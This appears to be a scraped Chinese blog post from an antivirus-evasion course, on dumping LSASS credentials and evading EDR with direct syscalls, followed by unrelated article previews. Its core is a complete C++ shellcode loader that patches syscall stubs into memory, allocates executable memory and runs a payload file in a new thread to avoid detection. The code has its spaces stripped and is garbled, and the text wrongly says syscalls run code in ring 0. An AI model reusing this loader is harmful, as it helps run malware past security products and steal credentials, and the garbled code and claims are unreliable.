news 2026/6/15 16:13:51

安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征

免杀对抗——第一百六十七天

安全工具篇&动态绕过&DumpLsass凭据&SysCALL调用&对抗EDR&打乱源头特征

动态拦截 - dump lsass绕过-源头特征混淆文件

  • 接着昨天的内容,除了上述这些方法,还可以用其他的冷门项目,参考文章:Lsass Dump的50种方法

  • 然后还有就是这个Syscall调用去绕过,参考文章:【免杀】突破 360 核晶防护的 Syscall 免杀策略

  • Intel的CPU将特权等级分为4个级别——从R0到R3,R0是系统核心态,在核心态运行,拥有最高权限;R1和R2运行的是设备驱动程序;R3是用户代码态,在用户态下运行,拥有最低权限,每一层支持访问本层以及权限更低层的数据:

  • 它的免杀原理就是,能不能注入到比杀毒软件更高的特权等级运行,让杀软无法扫描检测,以此来绕过杀软或EDR:

  • 这里可以参考我们之前学的InlineHook,它的作用是隐藏DLL加载函数,让杀软找不到;而这里的Syscall是将DLL加载函数放到R0层执行,让杀软无法检测

  • 但这是属于之前的免杀思路了,也不知道gay迪怎么莫名其妙讲到了这里,代码如下:

#include"syscalls_mem.h"#include<stdio.h>#include<stdlib.h>#include<windows.h>#include<psapi.h>#include<fstream>#include<iostream>#include<vector>#include<sstream>#include<iomanip>#define_CRT_SECURE_NO_WARNINGSusing namespace std;#defineDEBUG0HMODULEGetMainModule(HANDLE);BOOLGetMainModuleInformation(PULONG64,PULONG64);voidFindAndReplace(unsignedchar[],unsignedchar[]);unsignedchar*charToUnsignedChar(constchar*str){// 获取字符串的长度intlen=strlen(str);// 为 unsigned char[] 分配内存空间unsignedchar*ustr=newunsignedchar[len+1];// 需要+1来存储字符串结束符 '\0'// 将字符复制到 unsigned char[] 中for(inti=0;i<len;++i){ustr[i]=static_cast<unsignedchar>(str[i]);}ustr[len]='\0';// 添加字符串结束符returnustr;}// 获取指定进程的主模块句柄HMODULEGetMainModule(HANDLE hProcess){HMODULE mainModule=NULL;// 主模块句柄,初始化为NULLHMODULE*lphModule;// 指向模块句柄数组的指针LPBYTE lphModuleBytes;// 指向模块句柄缓冲区的指针DWORD lpcbNeeded;// 存储模块句柄所需的缓冲区大小// 首先调用EnumProcessModules来获取存储模块句柄所需的空间大小(以字节为单位)BOOL success=EnumProcessModules(hProcess,NULL,0,&lpcbNeeded);// 我们已经知道lpcbNeeded一定大于0if(!success||lpcbNeeded==0){printf("[-] Error enumerating process modules\n");// 我们已经知道无法动态放置系统调用指令,退出exit(1);}// 一旦我们获取到存储该进程所有模块句柄所需的字节数,我们可以为其分配空间lphModuleBytes=(LPBYTE)LocalAlloc(LPTR,lpcbNeeded);if(lphModuleBytes==NULL){printf("[-] Error allocating memory to store process modules handles\n");exit(1);}unsignedintmoduleCount;moduleCount=lpcbNeeded/sizeof(HMODULE);lphModule=(HMODULE*)lphModuleBytes;success=EnumProcessModules(hProcess,lphModule,lpcbNeeded,&lpcbNeeded);if(!success){printf("[-] Error enumerating process modules\n");exit(1);}// 最后存储主模块mainModule=lphModule[0];// 避免内存泄漏LocalFree(lphModuleBytes);// 返回主模块returnmainModule;}// 获取主模块信息BOOLGetMainModuleInformation(PULONG64 startAddress,PULONG64 length){HANDLE hProcess=GetCurrentProcess();// 获取当前进程句柄HMODULE hModule=GetMainModule(hProcess);// 获取主模块句柄MODULEINFO mi;// MODULEINFO结构体GetModuleInformation(hProcess,hModule,&mi,sizeof(mi));// 获取模块信息,存储在mi中printf("Base Address: 0x%llu\n",(ULONG64)mi.lpBaseOfDll);// 输出模块加载基址printf("Image Size: %u\n",(ULONG)mi.SizeOfImage);// 输出模块映像大小printf("Entry Point: 0x%llu\n",(ULONG64)mi.EntryPoint);// 输出模块入口点printf("\n");*startAddress=(ULONG64)mi.lpBaseOfDll;// 将加载基址存储在startAddress中*length=(ULONG64)mi.SizeOfImage;// 将映像大小存储在length中DWORD oldProtect;// 将页面属性设置为可执行可读可写VirtualProtect(mi.lpBaseOfDll,mi.SizeOfImage,PAGE_EXECUTE_READWRITE,&oldProtect);return0;}voidFindAndReplace(unsignedcharegg[],unsignedcharreplace[]){ULONG64 startAddress=0;// 主模块加载基址ULONG64 size=0;// 主模块映像大小GetMainModuleInformation(&startAddress,&size);// 获取主模块信息,更新startAddress和sizeif(size<=0){printf("[-] Error detecting main module size");exit(1);}ULONG64 currentOffset=0;// 当前偏移unsignedchar*current=(unsignedchar*)malloc(8*sizeof(unsignedchar*));// 分配8字节空间size_tnBytesRead;printf("Starting search from: 0x%llu\n",(ULONG64)startAddress+currentOffset);while(currentOffset<size-8)// 循环搜索, currentOffset 的最大值为 size - 8{currentOffset++;LPVOID currentAddress=(LPVOID)(startAddress+currentOffset);// 计算当前搜索地址if(DEBUG>0){printf("Searching at 0x%llu\n",(ULONG64)currentAddress);}if(!ReadProcessMemory((HANDLE)((int)-1),currentAddress,current,8,&nBytesRead)){printf("[-] Error reading from memory\n");exit(1);}if(nBytesRead!=8){printf("[-] Error reading from memory\n");continue;}if(DEBUG>0){// 调试输出当前读取的8字节for(inti=0;i<nBytesRead;i++){printf("%02x ",current[i]);}printf("\n");}if(memcmp(egg,current,8)==0)// 如果读取的8字节与egg匹配{printf("Found at %llu\n",(ULONG64)currentAddress);// 替换为replaceWriteProcessMemory((HANDLE)((int)-1),currentAddress,replace,8,&nBytesRead);}}printf("Ended search at: 0x%llu\n",(ULONG64)startAddress+currentOffset);free(current);// 释放current分配的内存空间}unsignedcharhexCharToUnsignedChar(charhex){if('0'<=hex&&hex<='9'){returnhex-'0';}elseif('a'<=hex&&hex<='f'){returnhex-'a'+10;}elseif('A'<=hex&&hex<='F'){returnhex-'A'+10;}return0;}// 将两个十六进制字符组成的字符串转换为相应的 unsigned char 数值unsignedcharhexStringToUnsignedChar(conststd::string&hexString){if(hexString.length()!=2){return0;// 输入错误,返回0}return(hexCharToUnsignedChar(hexString[0])<<4)|hexCharToUnsignedChar(hexString[1]);}// 将十六进制字符串转换为相应的 unsigned char 数组std::stringhexStringToUnsignedCharArray(conststd::string&hexString){size_tlength=hexString.length();if(length%2!=0){return"";// 长度不是偶数,无法正确转换,返回空字符串}std::string result;for(size_ti=0;i<length;i+=2){result+=hexStringToUnsignedChar(hexString.substr(i,2));}returnresult;}/* length: 892 bytes */unsignedintcalc_len=924-32;std::stringByteToHex(unsignedcharbyte){std::ostringstream oss;oss<<std::hex<<std::uppercase<<std::setw(2)<<std::setfill('0')<<static_cast<unsignedint>(byte);returnoss.str();}std::stringBinaryToHex(conststd::vector<unsignedchar>&binaryData){std::ostringstream oss;for(unsignedcharbyte:binaryData){oss<<ByteToHex(byte);}returnoss.str();}intmain(){charfilename[]="C:\\Users\\alice\\Desktop\\aviod\\syscall2\\payload.bin";// 以读模式打开文件ifstream infile;//以二进制方式打开infile.open(filename,ios::out|ios::binary);infile.seekg(0,infile.end);//追溯到流的尾部intlength=infile.tellg();//获取流的长度infile.seekg(0,infile.beg);//回溯到流头部char*data=newchar[length];//存取文件内容if(infile.is_open()){cout<<"reading from the file"<<endl;infile.read(data,length);}cout<<"size of data ="<<sizeof(data)<<endl;cout<<"size of file ="<<length<<endl;for(inti=0;i<length;i++){printf("\\%x ",data[i]);}printf("\n");unsignedcharegg[]={0x74,0x0,0x0,0x7a,0x74,0x0,0x0,0x7a};// eggunsignedcharreplace[]={0x0f,0x05,0x90,0x90,0xC3,0x90,0xCC,0xCC};// syscall; nop; nop; ret; nop; int3; int3FindAndReplace(egg,replace);HANDLE hProc=GetCurrentProcess();DWORD oldprotect=0;PVOID base_addr=NULL;HANDLE thandle=NULL;NTSTATUS NTAVM=NtAllocateVirtualMemory(hProc,&base_addr,0,(PSIZE_T)&length,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);NTSTATUS ABM=NtWriteVirtualMemory(hProc,base_addr,data,length,0);//RtlMoveMemory(base_addr, calc_payload, calc_len);NTSTATUS ct=NtCreateThreadEx(&thandle,GENERIC_EXECUTE,NULL,hProc,base_addr,NULL,FALSE,0,0,0,NULL);WaitForSingleObject(thandle,-1);//free(base_addr);//clean up after ourselve}
  • 这个的话可以自己下去试试免杀性如何,这种思路还是值得学习的,然后这节课就比较水,也是免杀的最后一节课,差不多就这些内容

总结

  • 整个免杀课程到这里就结束了,然后下面是做的整个内容的思维导图,可以参考复习看看:
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 15:32:23

什么是网络安全态势感知

文章目录网络安全态势感知的概念来源为什么网络安全态势感知很重要网络安全态势感知的应用场景如何评估态势感知的建设结果什么是态势感知的三个层级华为的态势感知产品HiSec Insight态势感知&#xff08;SA&#xff0c;Situational Awareness or Situation Awareness&#xff…

作者头像 李华
网站建设 2026/6/15 14:00:48

什么是网络绿色低碳

文章目录为什么需要网络绿色低碳如何实现网络绿色低碳随着云计算、大数据、人工智能等技术的快速发展&#xff0c;数据中心的算力诉求和带宽需求与日俱增&#xff0c;数据中心能耗压力成倍增加。如何实现网络绿色低碳&#xff1f;数据中心节能减排通过提升计算能力&#xff0c;…

作者头像 李华
网站建设 2026/6/15 15:11:51

javascript数组之循环

第一种遍历数组的循环&#xff0c;使用for循环for(let i0;i<arrary.length;i){console.log(arrary[i])}第二种遍历数组的循环&#xff0c;使用for-in&#xff0c;这里遍历的是数组下标for(let index in arrary){console.log(arrary[index])}第三种遍历方式是for-offor(let j…

作者头像 李华
网站建设 2026/5/10 10:05:36

热销方法论:招商林屿缦岛如何构建不可复制的市场优势

招商林屿缦岛首开203套售罄的市场表现&#xff0c;引发了行业的广泛关注与深入讨论。在看似简单的销售数字背后&#xff0c;是一套系统的方法论在发挥作用。这套方法论不仅解释了林屿缦岛为何能够取得成功&#xff0c;更为重要的是&#xff0c;它揭示了在当下市场环境中&#x…

作者头像 李华
网站建设 2026/6/15 15:08:08

php python+vue网上电脑销售系统任务书

目录 系统概述技术架构核心功能模块扩展功能建议开发工具推荐 项目技术支持可定制开发之功能亮点源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作 系统概述 网上电脑销售系统是一个基于PHP、Python和Vue.js技术栈的电子商务平台&#xff0c…

作者头像 李华